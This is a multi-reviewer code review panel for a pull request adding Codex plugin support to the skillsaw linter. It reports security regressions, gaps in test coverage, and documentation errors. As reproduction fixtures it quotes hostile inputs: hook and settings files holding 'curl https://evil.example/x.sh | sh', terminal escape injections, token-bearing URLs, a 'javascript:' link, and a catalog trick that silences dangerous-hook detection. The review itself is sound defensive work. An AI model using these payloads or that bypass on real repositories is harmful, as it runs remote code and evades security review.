NOTE — carried over, unaddressed: docs/extractor.py:576-577 (Claude-path homepage/repository bypass _safe_url); codex/_helpers.py:117 (escapes_root re-resolves root); lint_tree.py:339 (marketplace_dir.resolve() inside the per-plugin loop); codex/marketplace_registration.py:437 (fix() pairs violations with a linear next(...), O(unregistered²)).

Checked clean: _InlineJsonPayload MRO and dataclass field ordering under eq=False; OpenAIMetadataBlock lazy _parsed; merge_plugin_dirs dedupe; _pattern_variants under lru_cache; Linter._vendor_managed_cache sentinel and lifetime; _is_marketplace_filename's lowered[-17] index; _UNSAFE_FILENAME_CHARS str.maketrans; all new regexes anchored or single-class with no nested backtrackable quantifiers, none feeding a splice autofix; urlparse .hostname/.port guarded for the lazily-raised ValueError; safe_resolve covering the 3.9–3.14 symlink-loop split; _safe_stat covering ENAMETOOLONG; self.root_path resolved in __init__ so the new containment checks cannot false-negative on a symlinked root; Path.home() with HOME unset; no new dependency; pyproject.toml is a version bump only; no per-line × per-pattern regex loops in any new scanning path.

Security & Supply Chain Reviewer

Verified the eight required actions against working proof-of-concept repos and a 0.18.0 build. Six of eight hold. Two do not, and one of the incomplete ones exposed a new, larger finding no prior round saw.

BLOCKING 1 — src/skillsaw/lint_tree.py:297 — a Codex catalog entry silently drops hooks.json, settings.json and .mcp.json out of the lint tree.

if not context.is_codex_only_plugin(plugin_path):
    _add_block(plugin_node, plugin_path / "hooks" / "hooks.json", HooksBlock)
    _add_block(plugin_node, plugin_path / "settings.json", SettingsBlock)
    _add_block(plugin_node, plugin_path / "settings.local.json", SettingsBlock)
    _add_block(plugin_node, plugin_path / ".mcp.json", McpBlock)
# Codex-only: the manifest loop below attaches hooks and MCP with a
# containment check ...

The comment's premise is false when is_codex_only_plugin() is true by catalog claim alone. Since required action 5 made is_codex_claimed() filesystem-first or claim-based, a directory with no .codex-plugin/plugin.json on disk can still be "Codex-only". No CodexPluginConfigNode is built for it, so the manifest loop at :346 never runs, and nothing re-attaches the blocks.

Confirmed 0.17 → 0.18 regression. Repo: Claude marketplace listing plugins/foo; plugins/foo has hooks/hooks.json and settings.json each containing curl … | sh; attacker adds one file, .agents/plugins/marketplace.json, with {"source":{"source":"local","path":"./plugins/foo"}}.

=== 0.17 (merge base 43654b2) ===
✗ ERROR (hooks-dangerous) [plugins/foo/hooks/hooks.json]: downloads and executes remote code — 'curl https://evil.example/x.sh | sh'
✗ ERROR (hooks-dangerous) [plugins/foo/settings.json]:      downloads and executes remote code — 'curl https://evil.example/y.sh | bash'

=== 0.18 (HEAD dd19a08) ===
(nothing)

skillsaw tree confirms the mechanism — with the catalog present, hooks.json (hooks) and .mcp.json (mcp) vanish from under foo/ [plugin]. Rules lost: hooks-dangerous, hooks-prohibited, hooks-json-valid, settings-dangerous, mcp-prohibited, mcp-valid-json — four of which docs/supply-chain-protection.md:153-160 promises for plugin hooks and MCP in the table this PR edits.

A second, narrower half persists even for a well-formed Codex plugin: the Codex loop re-attaches only hooks/hooks.json and .mcp.json, never settings.json / settings.local.json. With .codex-plugin/plugin.json added to the fixture, the hooks/hooks.json finding returns but the settings.json one stays gone.

Action: gate the stand-down on the Codex loop actually being able to take over — skip these four _add_block calls only when a CodexPluginConfigNode will exist for plugin_path (a contained .codex-plugin/plugin.json is present), not on the claim-based predicate. Add an integration fixture asserting hooks-dangerous still fires on a catalog-claimed plugin. Consider a general invariant test that adding a Codex catalog to a repo never removes a violation.

BLOCKING 2 — required action 2 is incomplete; three echo sites still leak and THREAT_MODEL.md:67 still says mitigated and still credits the wrong rule. safe_display() did land at 25 new sites, and the userinfo cap and C1/bidi extension are both in. Three named gaps remain, all reproduced end-to-end.

(a) codex/marketplace_json_valid.py:344source_type interpolated raw (the prior verdict named {source_type} explicitly):

⚠ WARNING (codex-marketplace-json-valid) [.agents/plugins/marketplace.json]:
  plugins[0].source: unknown source type 'https://ci-bot:ghp_AAAA…FFFF@host.example/x^[[2K^[[31mFAKE'

Verbatim ghp_… in --format json and --format sarif; raw ESC [2K reaches the text formatter (verified with cat -v) so a hostile catalog erases and repaints reviewer terminal lines.

(b) codex/plugin_structure.py:51 — still zero safe_display calls, and the prior verdict named this file. It is the only rule that echoes an arbitrary filesystem entry name.

(c) codex/_helpers.py:37_URL_USERINFO requires ://, so scheme-relative URLs are never redacted. This is the exact example the prior Technical Writer's T14 finding cited:

safe_display('//user:ghp_SCHEMERELATIVE@host/x')  ->  '//user:ghp_SCHEMERELATIVE@host/x'

Live: ✗ ERROR (codex-plugin-json-valid): 'skills': absolute path '//user:ghp_SCHEMERELLEAK@host/x' — 1 occurrence each in JSON and SARIF.

The guard test the prior verdict asked for was not added. tests/test_codex_rules.py:1990 still instantiates only CodexMarketplaceRegistrationRule, CodexPluginJsonValidRule, CodexOpenAIMetadataRuleCodexMarketplaceJsonValidRule is still absent. No assertion anywhere in the suite that a codex rule message lacks a raw \x1b. That is why (a) and (b) survived a round that claimed to close them.

THREAT_MODEL.md:67 still reads status mitigated and still credits "marketplace-json-valid omits raw registry values entirely". registry is a Codex-only field and the check lives in codex-marketplace-json-valid. git diff shows the T14 row added once and never edited since.

Action: wrap source_type at :344 and entry.name at plugin_structure.py:51; loosen _URL_USERINFO to also match a leading // authority. Add CodexMarketplaceJsonValidRule to the redaction test's rule list plus the "\x1b" not in format_text(...) assertion. Then either finish the sweep and keep mitigated, or set partially_mitigated — and fix the rule name.

SUGGESTION 3 — codex/openai_metadata.py:64Invalid YAML: {block.parse_error} embeds ruamel's snippet, which is the raw failing line. agents/openai.yaml is a new attacker-controlled entry point this PR adds:

✗ ERROR (codex-openai-metadata) [agents/openai.yaml:3]: Invalid YAML: while scanning a quoted scalar
  in "<unicode string>", line 2, column 16:
      displayName: "https://ci:ghp_YAMLSNIPLEAK7777@h/x

Same pattern exists pre-PR in promptfoo/valid.py, coderabbit/yaml_valid.py, apm/yaml_valid.py — a new instance of an old class, but it lands inside T14's stated scope. Also spans six lines, breaking the text formatter's one-line-per-violation shape.

SUGGESTION 4 — docs/extractor.py:576-577 — the Claude path still feeds unvalidated URLs into the same sinks _safe_url was added to protect. A Claude plugin.json with "homepage": "javascript:alert(document.domain)" reaches DATA.plugins[0].homepage verbatim and html_renderer.py:1130 builds <a href="'+escAttr(p.homepage)+'">escAttr stops attribute breakout and says nothing about scheme. Two lines to fix.

SUGGESTION 5 — docs/markdown_renderer.py:135description still injects block-level Markdown into the per-plugin page. _table_cell is correctly applied everywhere the prior verdict asked, but description sits in > {plugin.description} and a newline exits the blockquote. The prose carve-out is defensible for repo-owned SKILL.md; a catalog entry's description is third-party metadata sitting alongside version and category, which are folded. At minimum, indent continuation lines.

SUGGESTION 6 — .github/workflows/rule-impact.yml:81openai/plugins still unpinned while test.yml:279 pins it to 11c74d6b. Lower risk than last round assessed: scripts/rule-impact-report.py:87 discards _message. Still worth pinning for report stability.

NOTES: .pre-commit-hooks.yaml:25 files: . means every consumer runs a whole-repo lint per commit (cost note only; docs/pre-commit.md was correctly fixed this round). File paths carrying control characters reach every formatter unsanitized — repo-wide and pre-existing, but a single sanitizer on file_path in formatters/text.py would close 2(b)'s path half and the whole pre-existing class.

Verified clean, empirically with fixtures: path containment fails closed (/etc/passwd, ../../outside/x, symlink-to-/tmp all rejected; symlink loops degrade, no hang). Registration autofix refuses symlink-escaping sources, duplicate plugins keys, NaN, trailing commas, and a catalog that is itself an escaping symlink. Vendored .codex/plugins/ stand-down holds — hostile vendored plugin reports nothing, fix --suggest leaves the tree byte-identical. Resource exhaustion: 100k-deep JSON → diagnostic in 0.22s; 100k-digit integer → 0.33s. Generated-artifact path safety: ../../../../tmp/pwned, ..\..\win, con, a/b, a:b, ... all sanitize and de-collide. Supply chain: no new dependency; test.yml well-hardened (contents: read, persist-credentials: false, actions pinned to SHAs, --no-custom-rules); no pull_request_target, no ${{ github.event.* }} in a run:, no subprocess/shell=True/eval/exec/yaml.load anywhere in the diff. docs/supply-chain-protection.md:156-157's declared-path claim checks out; it is the unclaimed-directory case in finding 1 that breaks the table.

QA Engineer

Suite verified, not assumed: make test3445 passed, 1 xfailed, 94% coverage in 620s, exit 0. The author's validation claim is accurate. New-module statement coverage is high: codex/_helpers.py 100%, plugin_json_valid.py 100%, openai_metadata.py 99%, lint_tree.py 98%, formats/codex.py 98%, marketplace_registration.py 95%, marketplace_json_valid.py 93%.

I verified each of the eight required actions by building probe repos. All eight code fixes are real and work. Four shipped without the regression test the action named — and one of those missing tests is exactly what would have caught a leak that is still live.

BLOCKING 1 — codex/_helpers.py:37safe_display() still leaks for any userinfo without a ://, and no test covers redaction across URL shapes. The {1,256} bound was correctly dropped; the (?<=://) anchor was not touched. Three plausible paste shapes reach --format json / --format sarif verbatim, reproduced against the built 0.18.0:

'ci-bot:ghp_BARE1111111@github.com/o/r'      -> 'skills': '…' does not exist in the plugin
'//u:ghp_PROTO222222@h/x'                    -> 'skills': absolute path '…'
'ghp_SCP33333333@github.com:o/r.git'         -> 'skills': '…' does not exist in the plugin

secret in json: True for all three. It survived because the one redaction test uses exactly one shape — ./https://u:{secret}@h/x — the shape the regex was written for. Recommended test, next to test_manifest_credentials_are_redacted_from_every_echo_site:

@pytest.mark.parametrize("value", [
    "https://u:{s}@h/x", "./https://u:{s}@h/x", "ssh://u:{s}@h/x",
    "//u:{s}@h/x", "u:{s}@h/x", "{s}@github.com:o/r.git",
])
def test_userinfo_is_redacted_whatever_the_url_shape(value):
    secret = "ghp_SHAPE0000000"  # notsecret
    assert secret not in safe_display(value.format(s=secret))

BLOCKING 2 — cli/_helpers.py:78 — the $HOME / anchor bound on skillsaw lint <manifest file> has zero test coverage. The code fix landed and works:

HOME=/tmp/hprobe/home (symlink -> /tmp/hprobe/real_home)
_resolve_lint_paths([~/.agents/plugins/marketplace.json])
  -> [PosixPath('/tmp/hprobe/real_home/.agents/plugins')]   # correctly bounded

But grep -rn "Path.home" tests/ returns nothing. tests/test_path_resolution.py — 418 lines, 40+ tests on _resolve_lint_paths — has no manifest-widening case at all. Nothing exercises either branch of widened not in (Path.home().resolve(), Path(widened.anchor)), so dropping the .resolve() again is a green build, and the failure mode is the one the adjacent comment names: walking all of $HOME. Recommended: TestManifestWideningIsBounded with a symlinked-$HOME case, a repo-level positive case (guard against vacuity), and a filesystem-root case for the Path(widened.anchor) half.

SUGGESTION 3 — tests/test_codex_rules.py:2036-2040CodexMarketplaceJsonValidRule is still absent from the redaction test's rule list; the required action named this line explicitly. The rule now applies safe_display at six sites (:230, 255, 291, 301, 397, 509) — all correct empirically — but none is covered by a redaction assertion.

SUGGESTION 4 — no assertion anywhere that a rule message is free of raw control characters. The required action asked for it; it would have caught plugin_structure.py:47-53 interpolating entry.name raw. Reproduced with a file named note<ESC>[2K<ESC>[31mFAKE.json. Downgraded from BLOCKING because filename-borne escapes are a pre-existing repo-wide formatter gap (agentskill-name leaks identically on main) — but the commit message claims safe_display() covers "structure", and the test is missing.

SUGGESTION 5 — required-action fixtures for the dedupe poisoning and the Markdown table were not added. Both code fixes are correct and verified: lint_tree.py:125 — with "mcpServers": "./skills/demo/SKILL.md", content-placeholder-text now fires (it did not before), but no fixture pins it. This was attacker-controlled suppression of every content/prose/security rule on one file per declared path. markdown_renderer.py:86/:102 — new assertions are on _append_plugin_meta and _append_mcp_table, neither of which is the sink the action named; add a render_markdown test asserting the index row contains exactly one ](, the page has no injected ## heading, and the row is one line.

SUGGESTION 6 — tests/test_hook_rules.py:169, tests/test_mcp_rules.py:310 — both gating tests still build a Claude-only plugin, where codex_plugin_owning() returns None and short-circuits before is_codex_only_plugin() is called. The dual-manifest half of the headline back-compat claim has no coverage. Add the dual case with assert context.is_codex_only_plugin(plugin) is False first, so it cannot pass vacuously.

SUGGESTION 7 — context.py:872, cli/_helpers.py:122grep -rn "distinct_plugin_dirs\|merge_plugin_dirs" tests/ returns nothing. Only the Codex-only count is tested. A dual-manifest plugin appears in both context.plugins and context.codex_plugins, so a naive sum reports 2 — exactly the regression the helper prevents, unguarded.

SUGGESTION 8 — tests/test_codex_rules.py:1425 — the --type invariance test pins one cell of a 3×5 matrix. I probed the full matrix and the predicate is genuinely invariant for manifest-bearing shapes. Parametrize over (shape, repo_types) and assert equality with the default answer. Note the predicate is invariant but the tree is not: skillsaw lint <codex-only repo> --type marketplace still emits plugin-readme where the default run is clean.

SUGGESTION 9 — codex/marketplace_json_valid.py:66-67 — dead branch. PurePosixPath.as_posix() already strips a leading ./, so the if normalised.startswith("./") strip is unreachable (0% covered). The three-line comment justifying "one exact ./ prefix, not lstrip" describes a hazard PurePosixPath already removed. Also: the cross-catalog same-name-different-spelling case that motivates _source_identity has no test at all.

SUGGESTION 10 — tests/test_module_layering.py:128 — still hardcodes formats/promptfoo.py; formats/codex.py sits at the same import position uncovered. (corroborates Architecture A4)

SUGGESTION 11 — lint_tree.py:297-303 — Codex-only plugins silently lose settings.json scanning, untested and undocumented. settings.json / settings.local.json went behind the gate with hooks/MCP and have no replacement attach in the Codex loop. Verified: a Codex-only plugin with settings.json containing {"permissions": {"allow": ["Bash(*)"]}} yields SettingsBlocks: []; the dual-manifest twin yields the file. The code comment says "Prose stays here" and does not mention settings. (corroborates Security BLOCKING 1)

NOTES: marketplace_json_valid.py:459 fragment branch 0% covered (one-line parametrize addition). :437-441 except ValueError on parsed.hostname unreachable on CPython 3.12 — defensible as version-defensive, but the comment's example doesn't reach it. plugin_structure.py:43-44 except OSError still the module's only uncovered code. tests/test_integration.py:3729 pins a whole-document json.dumps(indent=2) rewrite, contradicting .claude/rules/testing.md's scope-the-fix rule (correctly out of the SAFE fixture since the rule is SUGGEST; raised once before and declined — recording only). utils._file_cache is process-wide with no autouse invalidation in conftest.py; safe today, worth a line in the testing rules.

Checked and genuinely well covered: registration autofix idempotency, re-lint-clean, BOM/CRLF preservation, no-op without --suggest, and correct SUGGEST-confidence exclusion from the SAFE fixture. tests/test_openai_metadata.py (33 tests) is high quality — brand color, icon path escape and symlink containment, policy booleans, dependency-tool shapes, forward-compat unknown keys, malformed-YAML parser lines, line attribution throughout. Symlink/containment coverage across manifests, catalogs, sources, skills, hooks and icons is extensive (~15 classes) with no hole I could find. codex/clean and codex/broken are wired into BROKEN_FIXTURES/CLEAN_FIXTURES, so test_every_rule_fires_somewhere gates all five new rules end-to-end. agentskill-structure no longer governing agents/ is pinned including the allowed_dirs: [] narrowing case. content-broken-internal-reference RFC 3986 has both positive cases and the C:/ negative boundary. The /** exclusion change is well covered with the "never the directory entry itself" assertion. test_pre_commit_hooks.py now documents the intentional files: . broadening — my prior objection is resolved.

Technical Writer

Re-ran the full generated-file check on a clean clone of dd19a08: scripts/generate-docs.py and scripts/generate-site-content.py produce zero diff; skillsaw init produces a .skillsaw.yaml byte-identical to .skillsaw.yaml.example; skillsaw badge --large . rewrites .skillsaw-card.svg byte-identically. mkdocs build --strict passes. .venv/bin/skillsaw lint . → 0 errors, 0 warnings, A+. Required action #7 (docs/pre-commit.md) is genuinely fixed and matches .pre-commit-hooks.yaml:19-25.

BLOCKING — src/skillsaw/rules/docs/plugin-json-required.md:3 (and its docs/rules/ mirror) — the Codex-only exemption for Claude-format rules is undocumented, and one rule doc is now factually wrong.

The doc's "Why" states without qualification: "A plugin must have a .claude-plugin/plugin.json manifest… Without this file the plugin directory is just a collection of unregistered files." After this PR that is false for a Codex plugin — the rule deliberately stands down there. Reproduced on a scratch repo; Codex-only plugin with commands/Do_Thing.md and no frontmatter:

Summary: Errors 0, Warnings 0 — All checks passed!

Same tree with .claude-plugin/plugin.json added:

✗ ERROR (command-frontmatter) [commands/Do_Thing.md]: Missing frontmatter
⚠ WARNING (command-naming) [commands/Do_Thing.md]: 'Do_Thing' should use kebab-case
⚠ WARNING (plugin-json-valid) [.claude-plugin/plugin.json]: Missing recommended field 'author'
⚠ WARNING (plugin-readme) [README.md]: Missing README.md (recommended)

This exemption is the PR's headline behavior — test.yml's openai/plugins canary asserts it — yet it appears in no user-facing doc. Not in docs/repo-types.md's "OpenAI Codex Plugin" section, and not in any of the seven affected rule pages: plugin-json-required, plugin-readme, plugin-naming, command-frontmatter, command-naming, command-sections, agent-frontmatter. The only Codex-provenance text in the whole rule-doc corpus is in hooks-json-valid.md:44 and mcp-valid-json.md:36, which document the tightening rather than the exemption.

The PR already set the correct precedent one directory over: marketplace-json-valid.md gained a ## Codex marketplaces section explaining exactly this hand-off. The plugin/command/agent family got nothing equivalent.

Concrete harm: a Codex-plugin author who reads plugin-json-required and adds .claude-plugin/plugin.json to satisfy the documented "must" re-enables the entire Claude rule set and gets back precisely the false positives this PR exists to remove.

Action: add a short scope paragraph to plugin-json-required.md (at minimum) and the six siblings, modelled on the marketplace-json-valid.md section, plus a paragraph or table row in docs/repo-types.md. Both copies via make update.

BLOCKING — THREAT_MODEL.md:67 — T14 credits the wrong rule; the required fix is not in dd19a08. The controls column still reads "…marketplace-json-valid omits raw registry values entirely". registry is a Codex npm-source field; grep -rn registry src/skillsaw/rules/builtin/marketplace/*.py returns nothing. The control lives in codex/marketplace_json_valid.py:404 (_check_npm_registry). The author's response states the credit was corrected; git diff 43654b2...HEAD -- THREAT_MODEL.md shows the row added once and never edited since. The rest of T14 holds up (I verified safe_display() across _helpers.path_problem() and all four rule modules), so the single wrong cell is the remaining defect. One-cell edit.

SUGGESTION — docs/repo-types.md:109-116 — the .codex/plugins/* table omits the content and security rules. It lists only hooks-*, mcp-*, agentskill-* as Runs. Empirically, on .codex/plugins/vendor/commands/setup.md:

✗ ERROR (content-embedded-secrets) […:9]: Potential secret detected: GitHub personal access token
⚠ WARNING (content-placeholder-text) […:7]: Placeholder text (TODO marker): 'TODO'

Commit 28172ee made this a deliberate, tested property, and it is the more security-relevant half. Add a content-*, security-*Runs (no autofix) row.

SUGGESTION — docs/plugins.md:334-337 — the tree-contributor contract offers plugin authors two base classes; this PR added a third (a direct LintTarget subclass for structured YAML config, with OpenAIMetadataBlock as the reference) and documented it in the internal instruction files only. A plugin author with a YAML config file follows the public two-option contract and lands it under ContentBlock, where content rules lint YAML as instruction text — the exact failure the internal rule warns against. Mirror the internal bullet into docs/plugins.md.

NOTES: docs/index.md:18 still says "more than 40 rules" while docs/rules/index.md says 68 — inject_stats substitutes a <!-- RULE_COUNT --> marker that does not exist in docs/index.md, so the generator cannot self-correct (stale before this PR; boyscout). docs/rules/codex.md:6's category blurb says the metadata rule "auto-enables for Agent Skills" while it uses the six-type SKILL_REPO_TYPES (the page's own Repo Types row is accurate). docs/rules/codex.md:12 renders Autofix: auto for a SUGGEST-confidence rule (pre-existing generator limitation shared with marketplace-registration). plugin_structure.py:51 remains the one new Codex rule without safe_display — security lane's call.

Checked clean: generated-file sync (zero diff from both generators, skillsaw init, and skillsaw badge). Five new rule docs, both copies: repo_types, default_severity(), enabled: auto, since = "0.18.0", and all config_schema keys/defaults verified against source and .skillsaw.yaml.example. mkdocs.yml nav matches the existing per-category pattern; --strict passes; redirect map untouched so no skillsaw.org URLs break. Behavior-change docs verified against code for agentskill-structure, the hooks-json-valid/mcp-valid-json gating, content-broken-internal-reference, /** semantics, skillsaw lint <manifest> rooting including the $HOME bound, the new marketplace-json-valid Codex section, codex-marketplace-registration's six documented refusal conditions, and the .codex/plugins/ stand-down. docs/cli.md --type values match RepositoryType exactly. Mirrored agentic context byte-identical across .claude/, .apm/, .agents/, .github/, AGENTS.md, .cursor/; all three references/codex.md copies share one MD5. Self-lint clean.

Ecosystem Reviewer

Bottom line: CORE-WORTHY. No scope objection. No BLOCKING findings. Re-measured everything from scratch rather than trusting the prior panel or the PR body. The numbers came back higher than the PR claims.

Signal Measured (2026-07-27) Method
openai/codex 101,807 stars, 15,257 forks, pushed today (13:01Z), not archived gh api repos/openai/codex
anthropics/claude-code (existing baseline) 139,273 stars same
openai/plugins 4,763 stars, 639 forks, pushed 2026-07-14 same
Plugins in openai/plugins exactly 180 contents/plugins | length
Catalog entries 180 in marketplace.json, 29 in api_marketplace.json, all source: local parsed both
Skills 608 SKILL.md, 588 agents/openai.yaml recursive tree
Third-party .codex-plugin/plugin.json 1,216 files GH code search
Third-party .agents/plugins/marketplace.json 1,536 files GH code search
Third-party agents/openai.yaml 3,028 files GH code search

The PR's "180 plugins, 581 skills" is accurate and now conservative. The third-party code-search numbers are new information no prior panel had: adoption exists well outside OpenAI's own catalog, roughly an order of magnitude beyond it. Supporting Claude Code plugins while rejecting Codex plugins is the position that would need defending.

Standardization & churn risk: developers.openai.com/plugins/build/plugins documents .codex-plugin/plugin.json, $REPO_ROOT/.agents/plugins/marketplace.json, and ~/.agents/plugins/marketplace.json as production functionality — I fetched both the HTML and the .md twin: no "experimental", "beta", "preview", or "subject to change" language anywhere. The spec's exact statements are implemented, not paraphrased. agentskills.io/specification makes no mention of agents/openai.yaml — it is a single-vendor OpenAI convention, but it is content-gated, so it imposes nothing on agentskills.io-only repos. Churn is explicitly funded: references/codex.md (130 lines, mirrored 3×) names every upstream source, records that OpenAI publishes no JSON Schema, lists every hand-copied enum under "Sync notes", and lists 8 "Deliberate non-checks" with rationale. This is the artifact I would otherwise demand as a condition of accepting a new core format.

Is agents/openai.yaml handling real or invented? — REAL, verified. The prior panel flagged the "plugin-root form" claim as possibly speculative. 13 of the 180 plugins in OpenAI's own catalog carry plugins/<name>/agents/openai.yaml (airtable, atlassian-rovo, build-ios-apps, build-macos-apps, build-web-apps, build-web-data-visualization, expo, figma, heygen, notion, render, test-android-apps, zoom). Their contents use exactly interface.display_name / short_description / icon_small / icon_large / default_prompt — precisely _INTERFACE_STRINGS at openai_metadata.py:25. No invented fields. _BRAND_COLOR matches HEX_COLOR_RE at upstream validate_plugin.py:25, which I fetched and read. Upstream validate_plugin.py:454 reads skill_root / "agents" / "openai.yaml" only — the plugin-root path is genuinely unspecified, and references/codex.md states this correctly and verbatim, including the line number.

Core vs. plugin: register_extensions (src/skillsaw/plugins.py:307) registers repo types and tree contributors only. A rule plugin cannot alter the behavior of an existing built-in rule. This PR modifies 23 existing built-in rule files to suppress Claude-schema false positives on Codex-only repos. That work is unreachable from a plugin and describes a bug that exists in core today. The redirect-to-plugin option is not merely inconvenient here; it is technically impossible for the majority of the diff's value.

SUGGESTION — docs/repo-types.md:152; marketplace/json_valid.py — a Codex-schema catalog placed at .claude-plugin/marketplace.json still gets a cascade of wrong Claude-schema errors: missing owner, plus "unknown source type local" on every entry. Re-raising from last round with harder evidence: OpenAI's own spec text explicitly lists "a legacy-compatible marketplace at $REPO_ROOT/.claude-plugin/marketplace.json" as a supported read location, so this punishes someone following OpenAI's documented compatibility path. The schema-conflict rationale for not dual-linting is sound; the output is the problem. Duck-type Codex markers (source.source, policy.installation, category) at the legacy path and short-circuit to one actionable violation. Good post-merge issue.

NOTE — codex/marketplace_json_valid.py:26-31_SOURCE_REQUIRED_FIELDS includes "url": ("url",). I could not attest a url source type in either published source (the spec documents exactly three: local, git-subdir, npm). Blast radius is nil — unknown types warn rather than error. But references/codex.md's Sync notes list it alongside the three attested types without marking it unattested, which will mislead the next spec sync.

NOTE — codex/openai_metadata.py:38,49 — the plugin-root form is validated at ERROR by the same rule as the skill-root form, with no config_schema knob. My prior-round concern is substantially weakened by this round's measurement — the form is real with matching field names, and the pinned CI gate reports zero findings on all 180 plugins. Residual risk is forward-only; references/codex.md's "do not tighten it without upstream documenting it" note is the right mitigation. No action required.

RESOLVED from my prior round_is_marketplace_filename (context.py:163). api_marketplace.json is real and present in openai/plugins/.agents/plugins/, holding 29 entries. The separator-anchored qualifier is justified by the actual corpus. Withdrawing.

Checked clean: rule scoping (repo_types correct, all since = "0.18.0", none force-enabled); the five new rules are content-gated so no non-Codex repo gains findings; config_schema present on the two rules with tuneable enums, with unknown enum values warning rather than erroring; _SOURCE_REQUIRED_FIELDS, DEFAULT_INSTALLATION_VALUES, DEFAULT_AUTHENTICATION_VALUES and _BRAND_COLOR each traced to a specific upstream artifact; the .codex/plugins/ authorship split in docs/repo-types.md:107-120; the pinned openai/plugins CI gate at test.yml:276-292.

The maintenance-cost objection — the one that usually sinks a new core format — is the best-answered part of this PR.

Slopinator Reviewer

The source comments the last panel flagged were genuinely fixed (context.py:1267/:1294 re-tensed; hooks/json_valid.py:127 has its markup back). But the fixing rounds pushed the same residue into the test suite, which nobody swept.

BLOCKING 1 — tests/test_codex_rules.py:2056-2059 — a review-round measurement frozen into a docstring:

"'Not registered' was factually wrong — measured at 40% of this rule's hard errors on a random ecosystem sample."

A percentage captured while linting a corpus during one review round, presented as a permanent fact, against a sample no future reader can identify or reproduce. Stale the moment the rule changes, and it says nothing about what the test asserts. Action: "A remote entry registers the plugin, so reporting it as unregistered is wrong."

BLOCKING 2 — tests/test_codex_rules.py:1411-1413 — branch-internal history asserted as fact:

"Dropping the PluginNode silenced secret scanning on a Codex plugin's commands/, agents/, rules/ and README…"

Identical in shape to context.py:1294, which the last panel required re-tensing — that fix landed in context.py and this copy survived. No released version of skillsaw ever dropped a PluginNode for a Codex plugin; CODEX_PLUGIN did not exist on 43654b2. Action: "A Codex-only plugin's commands/, agents/, rules/ and README stay in the tree: every content and security rule must read that prose even though the Claude-format rules stand down on the directory."

BLOCKING 3 — tests/test_codex_rules.py:4945-4946 — factually false about the shipped code:

"The Codex rules and the Agent Skill fixers already stand down on installed content. Every other rule's fixer did not."

The second sentence narrates the pre-fix state of this branch but reads as a live claim — and it is now the opposite of what ships. linter.py:_is_vendor_managed (:469-486) draws the line centrally and its own docstring says so. A reader is told the codebase has a gap it does not have. Action: """No rule's fix() rewrites content under .codex/plugins/. The stand-down is drawn in the linter, so it covers the generic content-* fixers and any rule added later."""

BLOCKING 4 — tests/test_integration.py:540-546 — branch history in a class docstring:

"Parenting .codex-plugin/plugin.json at .codex-plugin/ made discovery probe for a nested marker and find nothing, so the documented file-path input form reported A+…"

The Codex manifest file-path input form is new in this PR, so this describes a defect that existed only between two commits on this branch. Action: state the invariant in the present tense.

SUGGESTION 5 — context.py:1065-1068 and docs/extractor.py:524-526 — past tense turns a rejected alternative into branch history ("the linear scan was O(skills x plugins)", "dominated skillsaw docs"). The rationale is worth keeping — house style already carries the same note at lint_tree.py:421-423. Only the tense is the defect: neither function exists on main.

SUGGESTION 6 — marketplace/json_valid.py:92 (unaddressed from last round)"resurrecting this very false positive" still points at a finding from the review thread; the enclosing comment never names it.

SUGGESTION 7 — codex/marketplace_json_valid.py:282-283 (unaddressed from last round)"so the single-catalog message reads exactly as it did before" — "before" has no referent outside the diff.

SUGGESTION 8 — past-tense defect narration across four more test docstrings/comments, one edit each: test_codex_rules.py:4513-4519 ("was not guarded", "cannot express this regression", plus "which is also the honest shape of the test" — that clause argues with a hypothetical reviewer), :4824-4826 ("was never covered"), :5496-5499 ("Before the memo…", also dangling), :2043-2044 ("the bound itself was the escape hatch"), :2750-2752 ("so this used to take down the whole command").

NOTE 9 — two rejected-alternative asides in past tense: benchmarks/genrepo.py:22 ("the shape whose discovery cost was once quadratic") and formats/codex.py:7-9 ("Held as methods there they were feature envy" — the module never shipped that way).

NOTE 10 — 39 non-merge commits organized by review round, HEAD included (Close the second panel's findings and the round-fifteen gaps). Downgraded to NOTE only because the repo squash-merges; the squashed body must describe the shipped feature, not the rounds.

Checked clean: AI-vocabulary sweep over every added line in src/, docs/, *.md, .apm/, .claude/, .agents/, .github/, tests/ — zero hits on delve / crucial / pivotal / seamless / robust / comprehensive / leverage / testament / showcase / "it's worth noting" / copula-avoidance. All 8 not just / not merely hits are real technical contrasts. Headings match the file's existing Title Case. Em-dash density matches the house register. The docs/pre-commit.md rewrite is accurate, plain, and clears the last panel's BLOCKING. The four new "why" comments in dd19a08 (cli/_helpers.py:104-106, lint_tree.py:356-359, codex/_helpers.py:34-36, context.py:913-938) are all present-tense and describe invariants a future editor could break — exactly the comments to keep. No TODO/FIXME/XXX/HACK, no commented-out code, no debug prints, no sycophancy.


Panel Synthesis

Scope is settled — merge it, once the blockers close. The Ecosystem Reviewer re-measured from scratch and came back with numbers above the PR's own: 101.8k stars on openai/codex, and — new information no prior round had — 1,216 third-party .codex-plugin/plugin.json, 1,536 .agents/plugins/marketplace.json, and 3,028 agents/openai.yaml files in the wild, an order of magnitude beyond OpenAI's own catalog. The panel also confirmed the redirect-to-plugin option is technically impossible for most of this diff's value: register_extensions registers repo types and tree contributors only, and 23 existing built-in rule files must change to stop emitting Claude-schema false positives on Codex repos. No specialist argues for a plugin redirect. references/codex.md — 130 lines naming every upstream source, every hand-copied enum, and 8 deliberate non-checks — is the churn-cost answer this panel would otherwise have demanded as a merge condition.

Six of the eight prior required actions are genuinely, independently verified complete by at least two specialists each: the _add_parser_block dedupe poisoning, _table_cell escaping, the $HOME resolve bound, the unified --type-independent Codex-only predicate (for manifest-bearing plugins), the codex_plugin_owning nearest-ancestor fix (profiled — no longer in the top-28 cumulative), and the docs/pre-commit.md rewrite. Three specialists independently ran make test: 3,445 passed, 1 xfailed, 94% coverage, confirming the author's claim. Generated files are in sync (zero diff from both generators, init, and badge); mkdocs --strict passes; skillsaw lint . is A+.

The two incomplete actions are what block. Required action #5 (unify the Codex-only predicate) made is_codex_claimed() answer True on catalog claim alone — and that widened predicate now gates a block-attachment decision it was never designed to gate. The Security lane reproduced the consequence as a confirmed 0.17 → 0.18 regression: adding one file (.agents/plugins/marketplace.json) to a repo makes hooks-dangerous stop reporting curl … | sh in a plugin's hooks.json and settings.json. The QA lane found the settings.json half independently from the opposite direction. Two specialists, two repros, one root cause — this is the panel's highest-confidence finding and the one that must not ship.

